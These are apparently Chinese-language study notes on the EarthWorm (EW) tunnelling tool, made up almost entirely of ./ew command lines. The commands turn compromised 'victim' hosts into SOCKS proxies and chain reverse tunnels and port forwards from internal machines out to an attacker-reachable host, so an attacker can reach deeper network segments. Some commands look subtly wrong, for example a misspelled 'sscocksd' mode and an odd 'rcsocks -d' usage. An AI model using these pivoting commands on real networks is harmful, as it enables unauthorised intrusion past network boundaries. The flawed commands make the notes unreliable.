内网穿透神器EW-学习笔记

http://rootkiter.com/EarthWorm/

https://github.com/idlefire/ew

外网受害者主机执行 ./ew -s ssocksd -l 8888 攻击主机 通过 代理工具 代理端口 1.1.1.1:8888访问受害主机

受害者可访问外网主机（1.1.1.1） 执行 ./ew -s rcsocks -l 1080 -e 8888注：是将受害者可访问外网主机的8888端口流量转发到受害者可访问外网主机1080端口上
在内网2.2.2.2 主机中执行./ew -s rcsocks -d 1.1.1.1 -e 8888攻击者通过访问 1.1.1.1:1080 直接访问到 2.2.2.2

在内网主机B中执行./ew -s rcsocks -l 9999 在web 主机中执行./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 在攻击机器中代理 2.2.2.2:1080 来访问 2.2.2.3的机器

在web 服务器中执行 ./ew -s lcx_listen -l 1080 -e 8888 在主机B中执行 ./ew -s sscocksd -l 9999 在主机A中执行 ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 在攻击主机中代理1.1.1.1:1080 就可以访问2.2.2.3 主机